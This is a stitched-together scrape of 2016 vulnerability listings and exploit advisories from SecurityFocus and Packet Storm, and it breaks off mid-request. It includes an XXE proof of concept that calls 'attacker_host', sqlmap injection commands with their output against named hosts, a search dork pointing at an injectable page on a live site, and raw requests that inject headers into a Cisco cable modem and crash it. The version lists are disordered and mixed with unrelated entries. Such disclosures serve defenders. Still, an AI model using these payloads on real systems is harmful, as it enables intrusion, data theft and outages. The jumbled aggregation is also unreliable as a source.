Injection

Vulnerable: phpMyAdmin phpMyAdmin 4.6.4
phpMyAdmin phpMyAdmin 4.6.2
phpMyAdmin phpMyAdmin 4.6.1
phpMyAdmin phpMyAdmin 4.6
phpMyAdmin phpMyAdmin 4.6.3
phpMyAdmin phpMyAdmin 4.4.15.8
phpMyAdmin phpMyAdmin 4.4.15.7
phpMyAdmin phpMyAdmin 4.4.15.6
phpMyAdmin phpMyAdmin 4.4.15.5
phpMyAdmin phpMyAdmin 4.4.15.4
phpMyAdmin phpMyAdmin 4.4.15.3
phpMyAdmin phpMyAdmin 4.4.15.2
phpMyAdmin phpMyAdmin 4.4.15.1
phpMyAdmin phpMyAdmin 4.0.10.9
phpMyAdmin phpMyAdmin 4.0.10.8
phpMyAdmin phpMyAdmin 4.0.10.7
phpMyAdmin phpMyAdmin 4.0.10.6
phpMyAdmin phpMyAdmin 4.0.10.5
phpMyAdmin phpMyAdmin 4.0.10.4
phpMyAdmin phpMyAdmin 4.0.10.3
phpMyAdmin phpMyAdmin 4.0.10.2
phpMyAdmin phpMyAdmin 4.0.10.17
phpMyAdmin phpMyAdmin 4.0.10.16
phpMyAdmin phpMyAdmin 4.0.10.15
phpMyAdmin phpMyAdmin 4.0.10.14
phpMyAdmin phpMyAdmin 4.0.10.13
phpMyAdmin phpMyAdmin 4.0.10.12
phpMyAdmin phpMyAdmin 4.0.10.11
phpMyAdmin phpMyAdmin 4.0.10.10
phpMyAdmin phpMyAdmin 4.0.10.1


SecurityFocus Vulnerabilities

  • info
  • discussion
  • exploit
  • solution
  • references
MoinMoin Multiple HTML Injection Vulnerabilities

Bugtraq ID: 94259
Class: Input Validation Error
CVE: CVE-2016-7148
CVE-2016-7146
Remote: Yes
Local: No
Published: Nov 10 2016 12:00AM
Updated: Nov 23 2016 10:08AM
Credit: Curesec Research Team.
Vulnerable: MoinMoin MoinMoin 1.9.8
Not Vulnerable: MoinMoin MoinMoin 1.9.9


SecurityFocus Vulnerabilities

Application: SAP NetWeaver AS JAVA

Versions Affected: SAP NetWeaver AS JAVA 7.4

Vendor URL: http://SAP.com

Bug: XXE

Sent: 09.03.2016

Reported: 10.03.2016

Vendor response: 10.03.2016

Date of Public Advisory: 09.08.2016

Reference: SAP Security Note 2296909

Author: Vahagn Vardanyan (ERPScan)

Description

1. ADVISORY INFORMATION

Title: [ERPSCAN-16-034] SAP NetWeaver AS JAVA a XXE vulnerability in
BC-BMT-BPM-DSK component

Advisory ID:[ERPSCAN-16-034]

Risk: high

Advisory URL: https://erpscan.com/advisories/erpscan-16-034-sap-netweaver-java-xxe-vulnerability-bc-bmt-bpm-dsk-component/

Date published: 11.11.2016

Vendors contacted: SAP

2. VULNERABILITY INFORMATION

Class: XXE

Impact: Denial of Service, Read File

Remotely Exploitable: yes

Locally Exploitable: no

CVSS Information

CVSS Base Score v3: 6.4 / 10

CVSS Base Vector:

AV : Attack Vector (Related exploit range) Network (N)

AC : Attack Complexity (Required attack complexity) High (H)

PR : Privileges Required (Level of privileges needed to exploit) Low (L)

UI : User Interaction (Required user participation) None (N)

S : Scope (Change in scope due to impact caused to components beyond
the vulnerable component) Unchanged (U)

C : Impact to Confidentiality Low (L)

I : Impact to Integrity Low (L)

A : Impact to Availability High (H)

3. VULNERABILITY DESCRIPTION

1) It is possible, that an attacker can perform a DoS attack (for
example, an XML Entity expansion attack)

2) An SMB Relay attack is a type of man-in-the-middle attack where an
attacker asks a victim to authenticate to a machine controlled by the
attacker, then relays the credentials to the target. The attacker
forwards the authentication information both ways, giving him access.

4. VULNERABLE PACKAGES

BPEM PORTAL CONTENT 7.20

BPEM PORTAL CONTENT 7.30

BPEM PORTAL CONTENT 7.31

BPEM PORTAL CONTENT 7.40

BPEM PORTAL CONTENT 7.50

5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note 2296909

6. AUTHOR

Vahagn Vardanyan (ERPScan)

7. TECHNICAL DESCRIPTION

PoC

```

POST /sap.com~tc~bpem~him~uwlconn~provider~web/bpemuwlconn HTTP/1.1

Content-Type: text/xml

User-Agent: ERPscan

Host: SAP_IP:SAP_PORT

Content-Length: 480

Connection: Keep-Alive

Cache-Control: no-cache

Authorization: Basic ZXJwc2NhbjplcnBzY2Fu

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker_host">
]><SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">

<SOAP-ENV:Body>

<m:isBPMSInUse xmlns:m="http://api.facade.bpem.sap.com/"/>

&xxe;</SOAP-ENV:Body>

</SOAP-ENV:Envelope>

```

8. REPORT TIMELINE

Sent: 09.03.2016

Reported: 10.03.2016

Vendor response: 10.03.2016

Date of Public Advisory: 09.08.2016

9. REFERENCES

[ERPSCAN-16-034] SAP NetWeaver AS JAVA – XXE vulnerability in BC-BMT-BPM-DSK component

10. ABOUT ERPScan Research

ERPScan research team specializes in vulnerability research and
analysis of critical enterprise applications. It was acknowledged
multiple times by the largest software vendors like SAP, Oracle,
Microsoft, IBM, VMware, HP for discovering more than 400
vulnerabilities in their solutions (200 of them just in SAP!).

ERPScan researchers are proud of discovering new types of
vulnerabilities (TOP 10 Web Hacking Techniques 2012) and of the "The
Best Server-Side Bug" nomination at BlackHat 2013.

ERPScan experts participated as speakers, presenters, and trainers at
60+ prime international security conferences in 25+ countries across
the continents ( e.g. BlackHat, RSA, HITB) and conducted private
trainings for several Fortune 2000 companies.

ERPScan researchers carry out the EAS-SEC project that is focused on
enterprise application security awareness by issuing annual SAP
security researches.

ERPScan experts were interviewed in specialized infosec resources and
featured in major media worldwide. Among them there are Reuters,
Yahoo, SC Magazine, The Register, CIO, PC World, DarkReading, Heise,
Chinabyte, etc.

Our team consists of highly-qualified researchers, specialized in
various fields of cybersecurity (from web application to ICS/SCADA
systems), gathering their experience to conduct the best SAP security
research.

11. ABOUT ERPScan

ERPScan is the most respected and credible Business Application
Cybersecurity provider. Founded in 2010, the company operates globally
and enables large Oil and Gas, Financial, Retail and other
organizations to secure their mission-critical processes. Named as an
aEmerging Vendora in Security by CRN, listed among aTOP 100 SAP
Solution providersa and distinguished by 30+ other awards, ERPScan is
the leading SAP SE partner in discovering and resolving security
vulnerabilities. ERPScan consultants work with SAP SE in Walldorf to
assist in improving the security of their latest solutions.

ERPScanas primary mission is to close the gap between technical and
business security, and provide solutions for CISO's to evaluate and
secure SAP and Oracle ERP systems and business-critical applications
from both cyberattacks and internal fraud. As a rule, our clients are
large enterprises, Fortune 2000 companies and MSPs, whose requirements
are to actively monitor and manage security of vast SAP and Oracle
landscapes on a global scale.

We afollow the suna and have two hubs, located in Palo Alto and
Amsterdam, to provide threat intelligence services, continuous support
and to operate local offices and partner network spanning 20+
countries around the globe.

Adress USA: 228 Hamilton Avenue, Fl. 3, Palo Alto, CA. 94301

Phone: 650.798.5255

Twitter: @erpscan

Scoop-it: Business Application Security


Exploit Files ≈ Packet Storm

Vulnerable: Ubuntu Ubuntu Linux 14.10
Ubuntu Ubuntu Linux 14.04 LTS
Redhat Enterprise Linux Workstation 7
Redhat Enterprise Linux Workstation 6
Redhat Enterprise Linux Server 7
Redhat Enterprise Linux Server 6
Redhat Enterprise Linux HPC Node 7
Redhat Enterprise Linux HPC Node 6
Redhat Enterprise Linux Desktop 7
Redhat Enterprise Linux Desktop 6
Oracle Enterprise Linux 7
IBM WebSphere Application Server Liberty Profile 8.5.5
IBM Websphere Application Server 8.5.5
IBM Websphere Application Server 8.0 2
IBM Websphere Application Server 7.0 3
IBM Websphere Application Server 7.0 29
IBM Websphere Application Server 7.0 21
IBM Websphere Application Server 7.0 10
IBM Websphere Application Server 7.0 .9
IBM Websphere Application Server 7.0 .8
IBM Websphere Application Server 7.0 .2
IBM Websphere Application Server 7.0 .13
IBM Websphere Application Server 7.0 .12
IBM Websphere Application Server 7.0 .11
IBM Websphere Application Server 6.1 41
IBM Websphere Application Server 6.1 .9
IBM Websphere Application Server 6.1 .8
IBM Websphere Application Server 6.1 .7
IBM Websphere Application Server 6.1 .6
IBM Websphere Application Server 6.1 .5
IBM Websphere Application Server 6.1 .4
IBM Websphere Application Server 6.1 .33
IBM Websphere Application Server 6.1 .32
IBM Websphere Application Server 6.1 .3
IBM Websphere Application Server 6.1 .25
IBM Websphere Application Server 6.1 .23
IBM Websphere Application Server 6.1 .22
IBM Websphere Application Server 6.1 .21
IBM Websphere Application Server 6.1 .20
IBM Websphere Application Server 6.1 .2
IBM Websphere Application Server 6.1 .19
IBM Websphere Application Server 6.1 .18
IBM Websphere Application Server 6.1 .17
IBM Websphere Application Server 6.1 .15
IBM Websphere Application Server 6.1 .14
IBM Websphere Application Server 6.1 .13
IBM Websphere Application Server 6.1 .12
IBM Websphere Application Server 6.1 .11
IBM Websphere Application Server 6.1 .10
IBM Websphere Application Server 6.1 .1
IBM Websphere Application Server 6.1
IBM Websphere Application Server 8.5.5.9 - Liberty Pr
IBM Websphere Application Server 8.5.5.9
IBM Websphere Application Server 8.5.5.8 - Liberty Pr
IBM Websphere Application Server 8.5.5.8
IBM Websphere Application Server 8.5.5.7 - Liberty Pr
IBM Websphere Application Server 8.5.5.7
IBM Websphere Application Server 8.5.5.6 - Liberty Pr
IBM Websphere Application Server 8.5.5.6
IBM Websphere Application Server 8.5.5.5 - Liberty Pr
IBM Websphere Application Server 8.5.5.5
IBM Websphere Application Server 8.5.5.4 - Liberty Pr
IBM Websphere Application Server 8.5.5.4
IBM Websphere Application Server 8.5.5.3 - ~~Liberty
IBM Websphere Application Server 8.5.5.3
- IBM AIX 4.3
- Linux kernel 2.3 .x
- Microsoft Windows NT 4.0
- Sun Solaris 8_sparc
IBM Websphere Application Server 8.5.5.2 - Liberty Pr
IBM Websphere Application Server 8.5.5.2
IBM Websphere Application Server 8.5.5.1 - Liberty Pr
IBM Websphere Application Server 8.5.5.1
IBM Websphere Application Server 8.5.5.0 - Liberty Pr
IBM Websphere Application Server 8.5.0.2 - Liberty Pr
IBM Websphere Application Server 8.5.0.2
IBM Websphere Application Server 8.5.0.1 - Liberty Pr
IBM Websphere Application Server 8.5.0.1
IBM Websphere Application Server 8.5.0.0 - Liberty Pr
IBM Websphere Application Server 8.5.0.0
IBM Websphere Application Server 8.0.0.9
IBM Websphere Application Server 8.0.0.8
IBM Websphere Application Server 8.0.0.7
IBM Websphere Application Server 8.0.0.6
IBM Websphere Application Server 8.0.0.5
IBM Websphere Application Server 8.0.0.4
IBM Websphere Application Server 8.0.0.3
IBM Websphere Application Server 8.0.0.12
IBM Websphere Application Server 8.0.0.11
IBM Websphere Application Server 8.0.0.10
IBM Websphere Application Server 8.0.0.1
IBM Websphere Application Server 8.0.0.0
IBM Websphere Application Server 7.0.0.7
IBM Websphere Application Server 7.0.0.6
IBM Websphere Application Server 7.0.0.5
IBM Websphere Application Server 7.0.0.41
IBM Websphere Application Server 7.0.0.4
IBM Websphere Application Server 7.0.0.39
IBM Websphere Application Server 7.0.0.37
IBM Websphere Application Server 7.0.0.35
IBM Websphere Application Server 7.0.0.34
IBM Websphere Application Server 7.0.0.33
IBM Websphere Application Server 7.0.0.32
IBM Websphere Application Server 7.0.0.31
IBM Websphere Application Server 7.0.0.27
IBM Websphere Application Server 7.0.0.25
IBM Websphere Application Server 7.0.0.24
IBM Websphere Application Server 7.0.0.23
IBM Websphere Application Server 7.0.0.22
IBM Websphere Application Server 7.0.0.19
IBM Websphere Application Server 7.0.0.18
IBM Websphere Application Server 7.0.0.17
IBM Websphere Application Server 7.0.0.16
IBM Websphere Application Server 7.0.0.15
IBM Websphere Application Server 7.0.0.14
IBM Websphere Application Server 7.0.0.1
IBM Websphere Application Server 7.0.0.0
IBM Websphere Application Server 7.0
IBM Websphere Application Server 6.1.0.47
IBM Websphere Application Server 6.1.0.45
IBM Websphere Application Server 6.1.0.43
IBM Websphere Application Server 6.1.0.39
IBM Websphere Application Server 6.1.0.37
IBM Websphere Application Server 6.1.0.35
IBM Websphere Application Server 6.1.0.34
IBM Websphere Application Server 6.1.0.31
IBM Websphere Application Server 6.1.0.29
IBM Websphere Application Server 6.1.0.27
IBM Tivoli Storage Productivity Center 5.2.10
IBM Tivoli Storage Productivity Center 5.2.6
IBM Tivoli Storage Productivity Center 5.2.5
IBM Tivoli Storage Productivity Center 5.2.2
IBM Tivoli Storage Productivity Center 5.2.1 0
IBM Tivoli Storage Productivity Center 5.2
IBM Tivoli Storage Productivity Center 5.1.1 3
IBM Tivoli Storage Productivity Center 5.1.1
IBM Tivoli Storage Productivity Center 5.1
IBM Tivoli Storage Productivity Center 5.2.7.1
IBM Tivoli Storage Productivity Center 5.2.7
IBM Tivoli Storage Productivity Center 5.2.5.1
IBM Tivoli Storage Productivity Center 5.2.4.1
IBM Tivoli Storage Productivity Center 5.2.4
IBM Tivoli Storage Productivity Center 5.2.3
IBM Tivoli Storage Productivity Center 5.2.1.1
IBM Tivoli Storage Productivity Center 5.1.1.9
IBM Tivoli Storage Productivity Center 5.1.1.8
IBM Tivoli Storage Productivity Center 5.1.1.7
IBM Tivoli Storage Productivity Center 5.1.1.6
IBM Tivoli Storage Productivity Center 5.1.1.5
IBM Tivoli Storage Productivity Center 5.1.1.4
IBM Tivoli Storage Productivity Center 5.1.1.2
IBM Tivoli Storage Productivity Center 5.1.1.10
IBM Tivoli Storage Productivity Center 5.1.1.1
IBM Tivoli Storage Productivity Center 5.1.1.0
IBM Tivoli Monitoring 6.2.2
IBM Tivoli Enterprise portal server -
IBM Spectrum Control 5.2.11
IBM Spectrum Control 5.2.10
IBM Spectrum Control 5.2.9
IBM Spectrum Control 5.2.8
IBM Spectrum Control 5.2.10.1
IBM Liberty for Java for Bluemix 2.9
IBM Liberty for Java for Bluemix 2.7
IBM Liberty for Java for Bluemix 2.6
IBM Liberty for Java for Bluemix 2.3
IBM InfoSphere Information Server 9.1
IBM InfoSphere Information Server 8.7
IBM InfoSphere Information Server 11.5
IBM InfoSphere Information Server 11.3
IBM FastBack for Workstations Central Administration Console 7.1
IBM FastBack for Workstations Central Administration Console 6.3
IBM Content Integrator 8.6
IBM Bluemix Liberty for Java 2.3
IBM Bluemix Liberty for Java 2.2
IBM Bluemix Liberty for Java 2.1
IBM Bluemix Liberty for Java 2.0
IBM Bluemix Liberty for Java 1.9
IBM Bluemix Liberty for Java 1.8
IBM Bluemix Liberty for Java 1.7
IBM Bluemix Liberty for Java 1.6
IBM Bluemix Liberty for Java 1.5
IBM Bluemix Liberty for Java 1.3
CentOS CentOS 6
Apache Standard Taglibs 1.2.1


SecurityFocus Vulnerabilities

Title: Unauthenticated SQL Injection in Huge-IT Video Gallery v1.0.9 for Joomla
Author: Larry W. Cashdollar, @_larry0
Date: 2016-09-15
Download Site: http://huge-it.com/joomla-video-gallery/
Vendor: www.huge-it.com, fixed v1.1.0
Vendor Notified: 2016-09-17
Vendor Contact: [email protected]
Description: A video slideshow gallery.
Vulnerability:
The following code does not prevent an unauthenticated user from injecting SQL into functions located in ajax_url.php.

Vulnerable Code in : ajax_url.php

11 define('_JEXEC',1);
12 defined('_JEXEC') or die('Restircted access');
.
.
.
28 if($ _POST['task']=="load_videos_content")
29
30 $ page = 1;
31
32
33 if(!empty($ _POST["page"]) && is_numeric($ _POST['page']) && $ _POST['page']>0){
34 $ paramssld='';
35 $ db5 = JFactory::getDBO();
36 $ query5 = $ db->getQuery(true);
37 $ query5->select('*');
38 $ query5->from('#__huge_it_videogallery_params');
39 $ db->setQuery($ query5);
40 $ options_params = $ db5->loadObjectList();
41 foreach ($ options_params as $ rowpar) {
42 $ key = $ rowpar->name;
43 $ value = $ rowpar->value;
44 $ paramssld[$ key] = $ value;
45
46 $ page = $ _POST["page"];
47 $ num=$ _POST['perpage'];
48 $ start = $ page * $ num - $ num;
49 $ idofgallery=$ _POST['galleryid'];
50
51 $ query = $ db->getQuery(true);
52 $ query->select('*');
53 $ query->from('#__huge_it_videogallery_videos');
54 $ query->where('videogallery_id ='.$ idofgallery);
55 $ query ->order('#__huge_it_videogallery_videos.ordering asc');
56 $ db->setQuery($ query,$ start,$ num);

CVE-2016-1000123
Exploit Code:
aC/ $ sqlmap -u 'http://example.com/components/com_videogallerylite/ajax_url.php' --data="page=1&galleryid=*&task=load_videos_content&perpage=20&linkbutton=2" --level=5 --risk=3
aC/ .
aC/ .
aC/ .
aC/ (custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
aC/ sqlmap identified the following injection point(s) with a total of 2870 HTTP(s) requests:
aC/ ---
aC/ Parameter: #1* ((custom) POST)
aC/ Type: error-based
aC/ Title: MySQL OR error-based - WHERE or HAVING clause (FLOOR)
aC/ Payload: page=1&galleryid=-3390 OR 1 GROUP BY CONCAT(0x716b766271,(SELECT (CASE WHEN (2575=2575) THEN 1 ELSE 0 END)),0x7170767071,FLOOR(RAND(0)*2)) HAVING MIN(0)#&task=load_videos_content&perpage=20&linkbutton=2
aC/
aC/ Type: AND/OR time-based blind
aC/ Title: MySQL >= 5.0.12 time-based blind - Parameter replace
aC/ Payload: page=1&galleryid=(CASE WHEN (5952=5952) THEN SLEEP(5) ELSE 5952 END)&task=load_videos_content&perpage=20&linkbutton=2
aC/ ---
aC/ [19:36:55] [INFO] the back-end DBMS is MySQL
aC/ web server operating system: Linux Debian 8.0 (jessie)
aC/ web application technology: Apache 2.4.10
aC/ back-end DBMS: MySQL >= 5.0.12
aC/ [19:36:55] [WARNING] HTTP error codes detected during run:
aC/ 500 (Internal Server Error) - 2714 times
aC/ [19:36:55] [INFO] fetched data logged to text files under '/home/larry/.sqlmap/output/192.168.0.4'
aC/
aC/ [*] shutting down at 19:36:55
Advisory: http://www.vapidlabs.com/advisory.php?v=169


Exploit Files ≈ Packet Storm

MetInfo 3.0 SQL Injection
Posted Sep 19, 2016
Authored by indoushka

MetInfo version 3.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
MD5 | 0c809902fc3e7ed21cd43e9abf5e5a58
 ========================================================================
| # Title : MetInfo 3.0 Sql injection vulnerability
| # Author : indoushka
| # email : https://www.facebook.com/Indoushka.official/
| # Tested on : windows 8.1 FranASSais V.(Pro)
| # Version : 3.0
| # Vendor : http://www.metinfo.cn
========================================================================

Drok : Powered by MetInfo 3.0

Sql injection :

http://www.qihangchain.com/about/show.php?lang=en&id=45 (inject her)

Greetz :----------------------------------------------------------------
|
jericho * Larry W. Cashdollar * moncet-1 * achraf.tn |
|
========================================================================


Exploit Files ≈ Packet Storm

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

ShoreTel Connect ONSITE Blind SQL Injection Vulnerability
=======================================================================
vulnerability type: Unauthenticated Blind SQL Injection
product: ShoreTel Connect ONSITE
vulnerable version: 20.xx.xxxx.x and 21.xx.xxxx.x up to 21.79.4311.0
fixed version: 21.79.9308.0
homepage:
https://www.shoretel.com/resource-center/shoretel-connect-onsite-overview
discovery: 2016-07
by: Iraklis Mathiopoulos

https:[email protected]
[email protected]=======

Vendor description:
- -------------------
"ShoreTel is one of the largest providers of cloud, premises-based and hybrid
business telephony and unified communications (UC) solutions. Our award-winning,
brilliantly simple communications offerings lead the industry in customer
satisfaction and lowest total cost of ownership. Our innovative business phones,
application integration, collaboration tools, mobility, and contact center
applications empower organizations and employees to collaborate,
connect and work
no matter time, place or device."

URL: https://www.shoretel.com/

Vulnerability overview/description:
- -----------------------------------
Versions of ShoreTel Connect ONSITE prior and including 21.79.4311.0
are vulnerable
to a Blind SQL Injection in /authenticate.php, on the webserver that
is running the
Conference system.

Specifically, the POST parameter "username" is not sanitised prior to being used
in SQL Queries. Using test'%20and%20(select*from(select(sleep(35)))a)--%20
for the username value the server will respond after approximately 35 seconds.

No authentication is needed in order to exploit the vulnerability as the issue
resides in the pre-authentication realm of the system.

Proof of Concept:
- -----------------

req.burp:
- ---
POST https://conference.shoretel.com/authenticate.php HTTP/1.1
Host: conference.shoretel.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0)
Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://conference.shoretel.com/signin.php?ret=index.php&brand=1&brandUrl=index.php&rand=377311852
Cookie: PHPSESSID=fd3eb46033541487cce7774b917c655d
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 197

password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw%3D%3D&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123&vpassword=&SUBMIT1=Sign+In
- ---

[email protected]:~/projects# sqlmap -r req.burp -p username --dbms=mysql
--technique=T --time-sec=10 --level=5 --risk=3 --current-db
_
___ ___| |_____ ___ ___ 1.0-dev-nongit-201607120a89
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org

[*] starting at 19:59:34

[19:59:34] [INFO] parsing HTTP request from 'req.burp'
[19:59:34] [INFO] testing connection to the target URL
[19:59:42] [INFO] checking if the target is protected by some kind of
WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
- ---
Parameter: username (POST)
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: password=cc03e747a6afbbcbf8be7668acfebee5&password64=dGVzdDEyMw==&redirect=&redirectOnFail=&ticketAsQuery=1&expiry=43200&flashlogin=&ParticipantCode=&username=test123'
AND (SELECT * FROM (SELECT(SLEEP(10)))Qlhs) AND 'jIev' LIKE
'jIev&vpassword=&SUBMIT1=Sign In
- ---
[19:59:54] [INFO] testing MySQL
[20:02:25] [INFO] confirming MySQL
[20:03:12] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL >= 5.0.0
[20:03:12] [INFO] fetching current database
[20:03:12] [INFO] retrieved: shoreware
current database: 'shoreware'
[20:21:10] [INFO] fetched data logged to text files under
'/root/.sqlmap/output/conference.shoretel.com'

[*] shutting down at 20:21:10

Vulnerable / tested versions:
- -----------------------------
Version 21.79.4311.0 of ShoreTel Connect ONSITE was found to be
vulnerable. This version was the latest version at the time of the
discovery.

Vendor contact timeline:
- ------------------------
2016-07-23: Initial email was sent to multiple Vendor email addresses
2016-07-24: Initial Vendor reply acknowledging email receipt
2016-07-26: Email from vendor requiring more information
2016-07-26: Reply with full technical details
2016-08-04: Vendor releases upgrade fixing the vulnerability
2016-08-30: Email to CERT
2016-09-06: CERT alerts CERT-US
2016-09-19: Public Disclosure

Solution:
- ---------
The latest version of ShoreTel Connect ONSITE should be installed
immediately. This update can be found at:
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK

Related ShoreTel security bulletin:
https://support.shoretel.com/kb/view.php?id=kA41A000000XgL6SAK
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2

iQEcBAEBCAAGBQJX3+ClAAoJECvKFEKpDztj9uoIAILxYo5lZNzCiuAvQXqrD5yU
p0JV9Nkb/G3hMX8I+VXDIbm1mPla/TLZYR59jcVrNTP+m+crX4Rd3f/n4GiuWPIK
6XkZYULtSvQkNWPqS6+NBlcol6KTkEgtfeXXGZrJNVHy/Bl0BSCAPInSXAkw0/A9
Gnjv49axwFGC17txR5s+Polc918X6DBFpu+7Xgj0yAEats/yS/E//BR3y+0FUUmg
UxI73hEtMe6MPH8Dzhi/DkIFOHtY30bK3Zy+CX8qTNP8WiqCivxiVdCnXev0TU/z
lXKasg9eo/o8JGa/xKD9l/JPYnbAPyyY+FYKuCcXZNk40i8v5cFCWjrbQFb4Clc=
=GfVw
-----END PGP SIGNATURE-----


Exploit Files ≈ Packet Storm

# Title: Cisco EPC 3925 Multiple Vulnerabilities
# Vendor: http://www.cisco.com/
# Vulnerable Version(s): Cisco EPC3925 (EuroDocsis 3.0 2-PORT Voice Gateway)
# Date: 15.09.2016
# Author: Patryk Bogdan

========

Vulnerability list:
1. HTTP Response Injection via 'Lang' Cookie
2. DoS via 'Lang' Cookie
3. DoS in Wireless Client List via 'h_sortWireless'
4. (Un)authorized modem restart (Channel Selection)
5. CSRF
6. Stored XSS in SMTP Settings (Administration -> Reportning)
7. Stored XSS in User Name #1 (e.g Administration -> Managment / Setup -> Quick Setup)
8. Stored XSS in User Name #2 (Access Restrictions -> User Setup)
9. Stored XSS in ToD Filter (Access Restrictions -> Time of Day Rules)
10. Stored XSS in Rule Name (Access Restrictions -> Basic Rules)
11. Stored XSS in Domain Name (Access Restrictions -> Basic Rules)
12. Stored XSS in Network Name (e.g Wireless -> Basic Settings)
13. Stored XSS in DDNS Settings (Setup -> DDNS)
14. Stored XSS in Advanced VPN Setup (Security -> VPN -> Advanced Settings)

========

1. HTTP Response Injection

It is able to inject arbitrary data into device memory via 'Lang' cookie,
additional data will be stored until modem restart and will be returned with every http response.

#1 - Request:
POST /goform/Docsis_system HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Docsis_system.asp
Cookie: Lang=en; SessionID=171110
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 109

username_login=aaa&password_login=bbb&LanguageSelect=en%0d%0aSet-Cookie: pwned&Language_Submit=0&login=Log+In

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Docsis_system.asp
Content-type: text/html
Connection: close
(...)

#2 - Request:
GET / HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Set-Cookie: Lang=en
Set-Cookie: pwned
Set-Cookie: SessionID=219380
Content-Length: 1398
(...)

2. DoS via 'Lang' Cookie

Modem crashes when cookie variable in request is too long.

#1 - Request (crash via http injection):
POST /goform/Docsis_system HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Docsis_system.asp
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 142

username_login=aaa&password_login=bbb&LanguageSelect=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&Language_Submit=0&login=Log+In

#1 - Response:
HTTP/1.0 302 Redirect
Server: PS HTTP Server
Location: http://192.168.100.1/Docsis_system.asp
Content-type: text/html
Connection: close

#2 - Request:
GET /Docsis_system.asp HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/Docsis_system.asp
Connection: close

#2 - Response:
HTTP/1.1 200 OK
Content-type: text/html
Expires: Thu, 3 Oct 1968 12:00:00 GMT
Pragma: no-cache
Cache-Control: no-cache, must-revalidate
Connection: close
Set-Cookie: Lang=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
Set-Cookie: SessionID=163190
Content-Length: 18743
(...)

At this point modem crashes:

C:\Users\Patryk>ping -n 10 192.168.100.1

Pinging 192.168.100.1 with 32 bytes of data:
Request timed out.
Request timed out.
Reply from 192.168.0.10: Destination host unreachable.
Reply from 192.168.0.10: Destination host unreachable.
Reply from 192.168.0.10: Destination host unreachable.
Reply from 192.168.0.10: Destination host unreachable.
(...)

DoS can be also executed with single HTTP request, like this:
GET / HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/
Cookie: Lang=enXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX; SessionID=163190
Connection: close

3. DoS in Wireless Client List via 'h_sortWireless'

Modem crashes when variable for POST parameter 'h_sortWireless' is too long.

#1 - Request:
POST /goform/WClientMACList HTTP/1.1
Host: 192.168.100.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.100.1/WClientMACList.asp
Cookie: Lang=en; SessionID=71750
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 94

